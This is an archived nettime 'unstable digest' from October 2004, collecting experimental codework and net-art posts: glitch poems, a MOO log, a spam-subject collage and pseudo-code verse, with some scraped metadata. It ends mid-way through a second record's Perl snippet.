LISTSERV.UTORONTO.CA\n\nhohum! minimalismo non-surfata\nbreakwave??????///////////////////\nscurvy-dog--\nTheese be plunt-Seas.\nAnai The Blak Krappin (Krakon-Capn) -er Crackin' (white, adolescent, etc)\n  \"jokey blocks hover in the bored wonder_\nof WHAT?\n\njesus, what?\nChrist, what?\nShiva, What?\nWat, What?\nWhat, Watt?\n\nerror\nerror\ndoes not compute/\nused denty fresh + radar animal\ndoes not compute\nstack of art mags\nstack of Mate' gourds\nstack of virtual stacks\n\nstack crash\nerror\nerror\ndoes not compute\n(is it live, or is it (the cliche') of memorex)\n\nnostalgia (neuralgia) of the image\nnostalgia of the explicit (for a root in events)\nturn on me\nand watch me cumpel\nwhose me?\nME-ME\nscurrilous image sorcerors!\nyou take +5 diamond ministry (any syle building you want)\npopulate w/ furry amoebas..\nokay.\nyou win.\n3 tribes dead.\n4 more amassing with threats of <smirk) \"strange fetishes\"\n\nWatch out!!!\n\nhttp;??WWW>PLUNT>BLOGSPOT>COM\n\n\n\nDate:         Thu, 30 Sep 2004 14:02:29 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Because I say so I am Dangerous Monthly\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nBecause I say so I am Dangerous Monthly\n\nName            Connected    Idle time    Location\n----            ---------    ---------    --------\nNikuko (#934)   36 seconds   0 seconds    Bodee\n\nTotal: 1 person, who has been active recently.\nYou say, \"i am furious deadly\"\nYou say, \"i am murderous daily\"\nNikuko\n\nBrooding Buti or Buda / Pest\nShe is awake and looks alert.\nCarrying:\n  Budi                                    Mirror\n  iGirl                                   Talan\n\nYou say, \"i am horrible weekly\"\nYou say, \"i am dangerous second by second\"\n\nBodee\nDo Come In and Look Around! Hey! See the Bodee-Buda Bodi Too!\nYou see Bedei, #1, Girl, Boy, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi,\nBodi, Bodi, i#1, iBuda, iBodei, iBedei, iBudi, iBedee, iBodee,\nBodei, iBoy, Bedee, and radio here.\n\nYou say, \"i am dangerous second by second\"\nYou say, \"i am dangerous second by second\"\nYou say, \"fear me\"\nYou say, \"fear me\"\n\n*** Disconnected ***\n% Connection to l closed by foreign host.\n---- No world ----\n\n\n\nDate: Sun, 03 Oct 2004 11:36:54 +0200\nTo: arc.hive {AT} anart.no\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: 0410031136\n\n\n<her.nze>\n   CNo = \"log.Sstik\"\n   CNo -> f_jw.hto( , kn)\n   pro.D-NISF d.all.n\n\n<lit: \".get=\">\n   f.ntw/rhit.view \"h.rom.nin.wor\"\n\n<stypect, $box &gt; h(now): wmn f_jdg.r>\n   $box.inc[bstpect, ku]\n      prouns\n   p[e|r][s].r &gt; /lc.tic-ap\n\n   R_ADD dom.s\n   prevo.D-NISF d.all.w\n   N-ASD wtl_set [vid^rt] 04 \".\"\\n\n   st by Simulp.q[t-size:\".$box & m[ontw_rath/et]\" useaddr($to \ncol.rllb[o]d.ld<sp(s))\n   CNo cbx.collz.tik\n   RRearc=\"lorks: 75%\" -> chroms, \"\\n h(now)\", n\n\n\n<lt_x.int.dg Systn.by>\n   _ext/ctrylan h(now)\n  rs dmorget=\"_new\" to N-ASD dis|trab.blz.obg.wri.vu h(now)\n  RR_ADD aw.ir\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\nhttp://socialfiction.org/scrabble/OQdn.htm\nhttp://lo-y.de.vu\nhttp://www.google.com/search?q=lo_y\n\n\n\nDate: Sun, 26 Sep 2004 18:58:51 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Strange Man\n\nStrange Man: Klaus Demus (clear shining water1)\n\n1Moon: white rooms /weisse Kammern\n[Camera-Root]: (reaches) clear shining water1 /klares.strahlendes\n\n1211\n2211\n2111\n2212\n1112\n2112\n1221\n1212\neg.(sic) verdammernd (sic)\n\n2Root of Bodhy:\nwithin the crest1\nwithin the crest1 (Wonder-Camera)\n\n2eg(g). K/laus De/mus1 [Erregungslos selbsterregt]\n\n2reist sie in sich1\nwithin ITSELF\nthroughout the soul's EGG.\n\nBorn1 in Vienna in 1927. where he lives1 as\nan art historian and curator (strange man)\nthis egg1, this egg of Das schwere Land.\n\n2Hauser1 (sic) des Monds...\n\n1Moon cannon shooting eggs(images)\n2right down into this egg1 (room)\n\n1211\n2211\n2111\n2212\n1112\n2112\n1221\n1212\neg.(sic) verdammernd (sic)\n\n\n\nDate: Fri, 1 Oct 2004 21:31:27 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: carpet diem\n\nWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\n1994:FROM:\"TISHAGASTON\"<TGASTONUR {AT} CCCP.DE>SUBJECT:WHYGOTOTHEDOCTORWHENYO\nUCANGETITONLINE?21856:FROM:\"ROBERT\"<SURF21MONOPOLY {AT} HOTMAIL.COM>SUBJECT:H\nGH:THEMOSTPOWERFULANTI-OBESITYDRUGEVER...31160:FROM:\"HELENA\"<VPGKMEDE {AT} AN\nCESTRY.COM>SUBJECT:BRANDNAMEANDGENERICDRUGS41986:FROM:\"MAUROHATHAWAY\"<XI\nFSIETHHVLRL {AT} FRANCE.COM>SUBJECT:LEGALOPERATINGSYSTEMSCLEARANCE52369:FROM:\n\"DEANSTEWART\"<%FROM_USER {AT} FIRSTSAGA.COM>SUBJECT:WHYMAKETHEMRICHER63439:FR\nOM:\"WRECKEDPUSSIES\"<XRCMCCHMABQ {AT} SPRINTMAIL.COM>SUBJECT:SEXTHATHURTS-STRE\nTCHTILLTHEYSQUEAL!!!71096:FROM:\"LAVERNE\"<QXQYRKEYUALF {AT} 126.COM>SUBJECT:BR\nANDNAMEANDGENERICPILLS81577:FROM:\"JANMONTES\"<JXPXH {AT} YAHOO.COM>SUBJECT:CAR\nBUNCLEMARSEILLES92484:FROM:\"RODERICKRODRIQUEZ\"<GILBERTO.KIDD {AT} FASTEMAILER\n=2ECOM>SUBJECT:RE:ACCOUNT#0023M10788:SUBJECT:=3D?ISO-8859-1?B?QXJLAWRYLIBXZ=\nW\nLNAHQGTG9ZCYBQAWXSCYWGTXVZY2XLIFJLBGF4YW50CYWGYW5KIG1VCMUH?=3DFROM:\"GABRIE\nLSALINAS\"<GABRIELSALINASAR {AT} MDNET.COM.BR>1128422:FROM:\"DAUGHERTY\"<RJNR {AT} TR\nY-NET.OR.JP>SUBJECT:LOOKOUTFORYOURFAMILY121089:FROM:\"NOEMIMCMILLAN\"<RNWL\nAJDFGMXXJ {AT} HOTMAIL.COM>SUBJECT:HELLO132793:FROM:\"MICHELLEA.\"<ELIZABETHXJY\nBTC {AT} BKKMAIL.COM>SUBJECT:YOURONLINEPRIVACY142047:FROM:\"GABRIELLE\"<RQIDCLF\nUYXVFP {AT} PATHFINDERMAIL.COM>SUBJECT:FREELIVEWEBCAMCHAT15925:FROM:\"JUNET.HA\nYWOOD\"<J_HAYWOODLX {AT} MAIL.EUNET.LV>SUBJECT:GETGREATPRICESONMEDICATIONS1698\n4:FROM:<ARCHDIOCESE {AT} ACNCANADA.NET>SUBJECT:BUYCHEAPVLAGRATHROUGHUS173020:\nFROM:OFBZGXIF {AT} HOTMAIL.COM183727:FROM:\"DR.MCCABE\"<XOODGKPFPFM {AT} YAHOO.COM>S\nUBJECT:NEWCANADIANPHARMACY192824:SUBJECT:ISHERFATHERCOPINGWITHTHEPAINFRO\nM:RODGUERRA<SEARSCIDS {AT} USWESTMAIL.NET>2041217:FROM:EZBN {AT} GALAXY.COM.AUSUBJ\nECT:ICANNOTFORGETYOU!212275:FROM:\"ARNULFOMENDEZ\"<ALSHYAUICZZYIR {AT} NOORMARK\nKU.FI>SUBJECT:HYDROCODONE,PAINMEDICATIONAVAILABLELLD223005:FROM:\"BOYDBRU\nCE\"<XPQAKVT {AT} MGMHOMELOAN.NET>SUBJECT:MOTIONPROTELEVISION233136:SUBJECT:IS\nYOURSONINPAINFROM:MADELYNDAILEY<FRENCHBIZTS {AT} POSTMANPAT.ORG.UK>242564:FRO\nM:\"WILMERMORELAND\"<ANSEL {AT} ONLINE.NO>SUBJECT:2511367:FROM:\"JONAHJOYCE\"<GIP\nAFVOTWAB {AT} TAKAS.LT>SUBJECT:RE:TUBQ,WALLSTREETPULSE264693:FROM:\"DEXTERMCCA\nRTY\"<MARIANNE {AT} ACTIVATORMAIL.COM>SUBJECT:YOUNEEDONLY15MINUTESTOPREPAREFOR\nTHENIGHTOFLOVE!BARRYMOREBURETTE271572:FROM:\"CLAUDIEMORRISON\"<KASANDRA {AT} 12\n1INDIA.COM>SUBJECT:INCREASEDFERTILITY281580:SUBJECT:GETV=CDA,GRATOYOURDOOR\nSTEPFROM:\"WARDHOWARD\"<LOVELL {AT} LYREGISTRY.COM>291146:FROM:\"THADDEUS\"<XTNCN\nVJMLVHP {AT} MELOO.COM>SUBJECT:FINESTONLINEMEDICATIONHERE301545:FROM:\"GARYCON\nTINUE\"<ANNMARIECONVERGE12853 {AT} ROGERS.COM>SUBJECT:APPOINTMENTCONFIRMATIONF\nORANSAR {AT} ONLINE.NO313094:FROM:\"LATONYAHERRING\"<ALIBREB {AT} CANAL21.COM>SUBJEC\nT:RE:APPOINTMENTSUNDAYAT03-00-FRI,01OCT200416:16:13-0300321480:FROM:\"ADV\nERBIAL\"<MARGARITACHICKWEED79565 {AT} JUNO.COM>SUBJECT:ANSELMO {AT} ONLINE.NO,NOTFE\nELINGTOOWELL?332168:FROM:\"BEATRICEBABB\"<IKSSPVCESWAWA {AT} HOTMAIL.COM>SUBJEC\nT:RE:CONFIRMYOURAPPLICATIONFRI,01OCT200414:04:08-06.ISBN://82-92428-20-8\nMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n--0-648405277-1096666040=:13450--\n\n\n\nDate: Sun, 3 Oct 2004 07:02:32 +0000\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: qwoqewq-O///oxxXxkdakfljjpqqqzzdsaflkj\n\nqwoqewq-O///oxxXxkdakfljjpqqqzzdsaflkj\n\npq qqzzds///o xxX kfljjqqzzd safqewq- Oflj jp/o xx Xxl jjpq\nqqzzew //oxxXxkdqqqz zdsqqqzO// /q qqz zdspq qq zzdoxx Xxk d\nxxXxkda oxew q-zz d spq q qzzdflj///oxwq-O/Xxkd ak xxXxk ewq\n-kfl jjkdakflqewq-q-O/ //qewq-O/- O// /ojjpqqpqqqzzd skfljjp\n  q xX xk dq zzd s afl p qq-O//akfljj p j jpqqqz zzz dsa-O/ /\n/oqwoq zzdpq qqd akfljjxkd akx xXq-O ///ox xdakkflj jO/// ox\nxXxpqqq zzds adakfljjf l jjpqoqewq-O/ /wq//////O//O///oxxXxq\nqqzzdsa/oxxwo qewq-O/// oxlj jpqqqz zew qqqzzd s aakfljjpqew\nq-O/a kfljjpqqqzzd x xe wq-O // O///odak-OXxkdkda kfljjqwoql\n  jj/oxxXxkwq-Oew q-O/// qwoqxkd akflxkd aakf ljjpqqoxxXxk da\nfl jjpqqq-O/qqqz z//oxxjj pqqqzzdwq- O/// oO// /o xx Xxzzdsa\nflkdazz d saflzzdsaflk j z zdsa fakflj jqqqzXx kd oqeqw oqxk\ndakflj jljjp qqqz z///oxxpqq qzz/oxx Xx jjX xkdakflljjpqql j\njpqqqwoq ew- O/// o xxXfljjpq q q -O///ox xzzdsw oqewqwq-O /\n//oxxXxk/ oxxzzdsaflkoxxXxq e wxx X xkdqzz qew q-O/qqz qew o\nqew q-O /qqqzd akfljj pkd akf l jo xxXxkdXx kdakf l-O /// ox\nxXewqakfljjk fljjpqqjjp/oxx Xxk / //oxxxXakfljj//oxxXxoxxwoq\n  ewq-Okf ljjp /ox o xxXxk q ewq-Op qq qzzdsewq-O/X xkdakflja\nkf ljjpq qak fljjp qq /owqakf ljjlj jjpqqqzzoq ewq-O//oxx Xx\nkd ax xXxkd ak zzdsa flkoxoxxjpqqqzj jpqxx Xx kO/ / o xx X x\nkwq-O//fljjpqq qo qewq q qzzdsafO ///oxxXxjjpqqqzjjpxXx kdak\nwoqewq-O/jp qqqew q-O//qwoqewq-Ozzdsa //o xkdakfljqq zzds af\nO/ //oxxdak flqewq- O - O///xkoq ewq-O ///wo qexXxkda k ff l\n  jjpqqxXx kdakx k dakwq-O ///oxljjpqqqz da kfljj X x k d a k\nflj ///O/ //okf ljjpjpqx kdakfljj xkd akfljXxkd akw o xxXxkd\nak akfljjp q qx XxoxxXxkd qewxx Xxkdak jpqqqzzdsk fl qewq-O/\n//kdak fljj Xxk da wo ///oxxpq qqzz ds wq-O/// o xpqqqzzda k\nfljjxkdf l j j pq qqz jpq qq zzdqewq d akfljjpqq-O/oqew-O///\noxewq -O// /oq epqq qz jjpqq qz -O ///oxxXxkdakkda//oxqe wew\nqxxXxkdakewq-O//woqqwoq qq zoqewq-O/ //oxx Xxkd a/oxkdak fle\n  wqfl j j pqq q /oxxqqz zds adaqq zzdsaf-O/ /xk dak qwoqew d\naq q zzdsw q-O/ / / oxxXxkdaqqqzzdsa lj jpqxXx kdakflda kk f\nljjpqqqxXx kda fldakfljj qqqzzds azzdsa-O/ // oxxXq w oqewq-\nOqwoqewq-Oox xqqz zd s afljjpqqqzzjjpqqqO///ox xXxkdakxxq qq\nzzdsafkfljjpqwoq-O///oxx Xwq -/// oxq-O////- O///oxoxxdak q\nzzdsfljdakqe-O zzdsaflkjd a -O///oxxXq qqzzo qepq qq XxkX xk\ndakflq qqzzds a fqzz d sewq-O// /o pqqqzzd sqewq -q woxkd a-\n  O/// oq -O///oxxx kdakljjp q qqqzzdsadakfljjew qqqzzdsaq qz\nzdsafdak fljjp-O///o xxljakfl j j pqkdakflj q e wqzzdkfl -O/\n  akfl jjp qqakfljjp qqqO/ox x f ljj zzdsq-Oqewq-O// ///oxxXx\nkpq qqzzdsao xxXxkd akoqew///oxxXxxkdakf zzdxkdak ffl jjpqqo\nxxXq-OkflxXx k dakfl oxxXxkqqqzz dsa/ /oxxXxflj jpqqq kf lj\njpqqe wq-O// /oxkdak flXxkdakpqewq-O/ x xk dakfljjp //ox xXx\nk qwzzds aqzz dswoqe wq-Owq -O/kdakfljjpw q-Okflj-O /zz dsaf\nl kljjpqqq zpqqqzzds ao xxXq qzz dsaflwq -O jjpO/// oxxX kfl\n  wq- O///ow o qeewq- O/ q-O/qqqzzds a fdaqe wq-O qqzzdsafxxX\nx k dal jjpqqqzwoqewq-pq qqqzzdsaxxXoxxoxxXxkqqqzz q zoqe/ox\nxXx kda oqq ewdao ql jjpqqqzqqzzdsafxxXx k dakwoqexxX xkxkda\nkf ljda kfljjpq xXxkdax xX xkx kda kfdakfljjpqXxkdakfq z zds\naqqqzz ddakf ljjpqdakfjjp qq qwq- ///kda kfljjfljdakfqeq qqz\nzdXx kda oq/oxxXxjpqq-O ///ox qqqzzdsakfljj q-O//qwoqekfljak\nfloqew oxxX xk dfl jjpq jjpqqq qewqqw ooxxXxjpq flqz zdsaqqz\nzdsoqewox kdakflxx Xqwoqewxkd ak - O//qwpq//oxxXxk d///oxxXx\nO//q wwq - O///oxd axk dakfl-O/ / /oxjjpqqqzz/oxzzdsa jj p q\nqqpqjjpqqq zz oq e wq- Oz zdsaXxkdq-O///oxoxxpqqqz zwq-O/ fl\njjpqqqewq-O ///o/o xxXxkdalj jp q qqzwq-O/ / /ewq-O/// o-Ozz\npq kfl jjpqqXxk qewq-O/woqewqzzdsaflkjewq//oxx Xxkqqzzdjpqq\no xxXx kw oqewq/// xk da kfq-O/ / /dadakfqqzx kqqqz zd kda k\n  fl jjxXxkda kwoqewq -Okda k fl jjp ///oxO/// o xxzzds///oxk\ndakfl jp qqqz zds/o xxXpqjjpq qq zzewq-p qqqzz dqq zzdewq -O\n  // /oq-O ///oxq qzzdsewq-O/xkdakfxxo xxXqqqzzds aljjpqqqjpq\nqqzXxkdakfljq q qzqwoqewq-jjp qqqzz dwq-O///oxq qzzdkflj jp\nqqqqzzdsafwoq zzd sa ffljjpkflf lj j pqqz zd sO// /o xxXwoqe\nwq-Ol j jpq qqzzwq-O// / of ljjpqqqzljjpqqqzzqqqz z ds///oxx\nXxkdxxXxkd xxXxkew qpqqqzzds///o xx/oxx oqew q-Oqw xXx kdak\nfw oqew q -x k dakfljdakfkfl jjpqzqewq -O///oxqw oqewqzzd qq\nqz zdsa zz d o xxXx o xxX x kw oqe wdakfljq-O/ //oq-O///oxxx\nXxk d ako qe//e wq-O xXxkdzzdsafqewq-O///kflj jpq qqjpqq qzz\nwq-qwoqewljwoqewdakfoqewq-O/wo q ewqakf akfljjpq qwq-O // /o\nx xXxk daq-O// wq-Oo xxXxkda/ //Xxk d axXxkdaoqedak dak oxxX\nxkdoqewq w q-O///dak fljjpfljjpqqq a kfxXxkdak fkdakfljwq-O/\n//oxXx kdakq-q w oqewqkdqq z- O/ //oxxX xkdaq-O/// ewq-O-O//\n/oxx-O/// oxx Xk da kfljjpoqlj j p qqqf ljjpqqqzkfljxxX xk d\nak fO///o kdakfljj xkdakoqew q-O/qwo q ewxX xwo qewq- akfl/o\n  xxXxkd aq-O///o xxjpqqwoq ewqzzdsaflkXxkdakfq woq ewq-O xkd\naoxwq- O///oxdak fjjpqqqzjjpqqqqzzdsaqqqzzdewq-xxXx-O//kflj\np qqqzz doqew/ // //oxxXxoxx Xxkda qzz ds afljjp q pqqqzzq-O\n///o jjxXxkdakakf l jjzzzz doxxXx kdxkda ///oxxdakfljjkfljjp\nqqqxXfljjpkfljjqwoqewzzdewq-O /////oxx XxxxXxkdakf O///oq ew\n  qakfljjqqz jj pjpqqqqq qz z d/oxxdajjpqxkdak fljjp qq qzqwo\nqewq-O-O//dakflj j// oxxXxkdqe wq-ewq-O ///zzzzdsafl k/ //ox\n  xX xw q -O/ / / oxX xkdakfljkfljwq-oqe wq- O//f lqzzdsa flk\no xxXxkfljjpqqxx Xxkdakq-O///dakkfljj pqz/oxq-O///ol jjpqq q\nkdakfw oqew q-Oakl j jpw q-O/////oxx X-O// oxxXxqqq zzd //ox\nxX lj qewq- O/woqe wqqqqzwq-O//z z dsafl kwoXxkdakfewq-woqeq\n  zzdsqz zx Xx kqzzdspqqqqqq zzd/ //oxxXxk/ //oX xkda k fljj\njjpqqqxx Xxkdak a kfljjpqqXxkdakfl -O// /oqewzz o xx Xx//ox\njpqd akfljj jpqqqzzdsf lO/ / O /// ox xXx\n\n\n\nDate: Fri, 1 Oct 2004 21:31:27 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: carpet diem\n\nWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\n1994:FROM:\"TISHAGASTON\"<TGASTONUR {AT} CCCP.DE>SUBJECT:WHYGOTOTHEDOCTORWHENYO\nUCANGETITONLINE?21856:FROM:\"ROBERT\"<SURF21MONOPOLY {AT} HOTMAIL.COM>SUBJECT:H\nGH:THEMOSTPOWERFULANTI-OBESITYDRUGEVER...31160:FROM:\"HELENA\"<VPGKMEDE {AT} AN\nCESTRY.COM>SUBJECT:BRANDNAMEANDGENERICDRUGS41986:FROM:\"MAUROHATHAWAY\"<XI\nFSIETHHVLRL {AT} FRANCE.COM>SUBJECT:LEGALOPERATINGSYSTEMSCLEARANCE52369:FROM:\n\"DEANSTEWART\"<%FROM_USER {AT} FIRSTSAGA.COM>SUBJECT:WHYMAKETHEMRICHER63439:FR\nOM:\"WRECKEDPUSSIES\"<XRCMCCHMABQ {AT} SPRINTMAIL.COM>SUBJECT:SEXTHATHURTS-STRE\nTCHTILLTHEYSQUEAL!!!71096:FROM:\"LAVERNE\"<QXQYRKEYUALF {AT} 126.COM>SUBJECT:BR\nANDNAMEANDGENERICPILLS81577:FROM:\"JANMONTES\"<JXPXH {AT} YAHOO.COM>SUBJECT:CAR\nBUNCLEMARSEILLES92484:FROM:\"RODERICKRODRIQUEZ\"<GILBERTO.KIDD {AT} FASTEMAILER\n=2ECOM>SUBJECT:RE:ACCOUNT#0023M10788:SUBJECT:=3D?ISO-8859-1?B?QXJLAWRYLIBXZ=\nW\nLNAHQGTG9ZCYBQAWXSCYWGTXVZY2XLIFJLBGF4YW50CYWGYW5KIG1VCMUH?=3DFROM:\"GABRIE\nLSALINAS\"<GABRIELSALINASAR {AT} MDNET.COM.BR>1128422:FROM:\"DAUGHERTY\"<RJNR {AT} TR\nY-NET.OR.JP>SUBJECT:LOOKOUTFORYOURFAMILY121089:FROM:\"NOEMIMCMILLAN\"<RNWL\nAJDFGMXXJ {AT} HOTMAIL.COM>SUBJECT:HELLO132793:FROM:\"MICHELLEA.\"<ELIZABETHXJY\nBTC {AT} BKKMAIL.COM>SUBJECT:YOURONLINEPRIVACY142047:FROM:\"GABRIELLE\"<RQIDCLF\nUYXVFP {AT} PATHFINDERMAIL.COM>SUBJECT:FREELIVEWEBCAMCHAT15925:FROM:\"JUNET.HA\nYWOOD\"<J_HAYWOODLX {AT} MAIL.EUNET.LV>SUBJECT:GETGREATPRICESONMEDICATIONS1698\n4:FROM:<ARCHDIOCESE {AT} ACNCANADA.NET>SUBJECT:BUYCHEAPVLAGRATHROUGHUS173020:\nFROM:OFBZGXIF {AT} HOTMAIL.COM183727:FROM:\"DR.MCCABE\"<XOODGKPFPFM {AT} YAHOO.COM>S\nUBJECT:NEWCANADIANPHARMACY192824:SUBJECT:ISHERFATHERCOPINGWITHTHEPAINFRO\nM:RODGUERRA<SEARSCIDS {AT} USWESTMAIL.NET>2041217:FROM:EZBN {AT} GALAXY.COM.AUSUBJ\nECT:ICANNOTFORGETYOU!212275:FROM:\"ARNULFOMENDEZ\"<ALSHYAUICZZYIR {AT} NOORMARK\nKU.FI>SUBJECT:HYDROCODONE,PAINMEDICATIONAVAILABLELLD223005:FROM:\"BOYDBRU\nCE\"<XPQAKVT {AT} MGMHOMELOAN.NET>SUBJECT:MOTIONPROTELEVISION233136:SUBJECT:IS\nYOURSONINPAINFROM:MADELYNDAILEY<FRENCHBIZTS {AT} POSTMANPAT.ORG.UK>242564:FRO\nM:\"WILMERMORELAND\"<ANSEL {AT} ONLINE.NO>SUBJECT:2511367:FROM:\"JONAHJOYCE\"<GIP\nAFVOTWAB {AT} TAKAS.LT>SUBJECT:RE:TUBQ,WALLSTREETPULSE264693:FROM:\"DEXTERMCCA\nRTY\"<MARIANNE {AT} ACTIVATORMAIL.COM>SUBJECT:YOUNEEDONLY15MINUTESTOPREPAREFOR\nTHENIGHTOFLOVE!BARRYMOREBURETTE271572:FROM:\"CLAUDIEMORRISON\"<KASANDRA {AT} 12\n1INDIA.COM>SUBJECT:INCREASEDFERTILITY281580:SUBJECT:GETV=CDA,GRATOYOURDOOR\nSTEPFROM:\"WARDHOWARD\"<LOVELL {AT} LYREGISTRY.COM>291146:FROM:\"THADDEUS\"<XTNCN\nVJMLVHP {AT} MELOO.COM>SUBJECT:FINESTONLINEMEDICATIONHERE301545:FROM:\"GARYCON\nTINUE\"<ANNMARIECONVERGE12853 {AT} ROGERS.COM>SUBJECT:APPOINTMENTCONFIRMATIONF\nORANSAR {AT} ONLINE.NO313094:FROM:\"LATONYAHERRING\"<ALIBREB {AT} CANAL21.COM>SUBJEC\nT:RE:APPOINTMENTSUNDAYAT03-00-FRI,01OCT200416:16:13-0300321480:FROM:\"ADV\nERBIAL\"<MARGARITACHICKWEED79565 {AT} JUNO.COM>SUBJECT:ANSELMO {AT} ONLINE.NO,NOTFE\nELINGTOOWELL?332168:FROM:\"BEATRICEBABB\"<IKSSPVCESWAWA {AT} HOTMAIL.COM>SUBJEC\nT:RE:CONFIRMYOURAPPLICATIONFRI,01OCT200414:04:08-06.ISBN://82-92428-20-8\nMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n--0-648405277-1096666040=:13450--\n\n\n\n\n\n\n\nnettime unstable digest vol 88\nTue Oct  5 13:07:12 2004\n\n\nSubject: Solipsistic masturbation\n    From: Cyrill Duneau <dolmensniper {AT} FREE.FR>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _lec[alan||frac]turing_\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: o-o {AT} konf.lt, pimatalk {AT} yahoogroups.com,\n\nSubject: my movie beginning\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: ahachoo\n    From: noemata <noemata {AT} kunst.no>\n    To: wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\n\nSubject: Jacksonville, Nov 16 (1876)\n    From: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Jacksonville, Nov. 17\n    From: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: cipherwork\n    From: Charles Baldwin <Charles.Baldwin {AT} mail.wvu.edu>\n    To: sondheim {AT} panix.com\n\nSubject: Because I say so I am Dangerous Monthly\n    From: tongue-flatchet.spiderveil <solipsis {AT} GMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: 0410031136\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Strange Man\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: arc.hive {AT} anart.no\n\nSubject: carpet diem\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: qwoqewq-O///oxxXxkdakfljjpqqqzzdsaflkj\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: carpet diem\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n    \n    \n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 5 Oct 2004 20:33:09 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1CF3Z9&#45;0007l4&#45;HE {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0410/msg00012.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 88"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00035",
                "content": "\n     [re-sent -- mod(tb)]\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, \"arc.hive\" <arc.hive {AT} anart.no>\nDate: Wed, 20 Oct 2004 13:20:50 +0200\nSubject: AUTO POWER OFF\n\n\n\n\t\t\t\t0.\n\n\nCM\tRM\tM-\tM+\tON/C\n\n7\t8\t9\t?\tOFF\n\n4\t5\t6\tX\tCE\n\n1\t2\t3\t-\tv?\n\n0\t.\t%\t+\t=\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n2.8284271\n\n-\nisbn://82-92428-18-6 hexture\nE-ART\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Fri, 22 Oct 2004 21:43:13 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: SH*T P*SS C*M BL**D T**RS SW**T\n\nVamp & Revamp\n[Modified excerpt from my side of an email exchange w/AS, who graciously\nrequested that these comments go public]\n\nUsually when I come up with an idea I start very simple and then work\ntowards increasing complexity until I find that the complexity overwhelms\nthe piece, at which point I stop and move onto something else. I find that\ntoo much complexity turns the piece into a traditional composition, makes it\ntoo conventionally artistic. For whatever reason, I prefer my pieces to stay\nskeletal and schematic and not be too \"interesting.\" I think of it kind of\nlike a Matta-Clark building where the skin is stripped away to expose the\nnails and the joints and whatnot that holds everything together.\n\n*\n$tlen = length($text);\nfor ($ii = 0; $ii < $tlen; $ii++) {\n     $tsub[$ii] = substr($text, $ii, 1);\n}\nfor ($ii = 0; $ii < 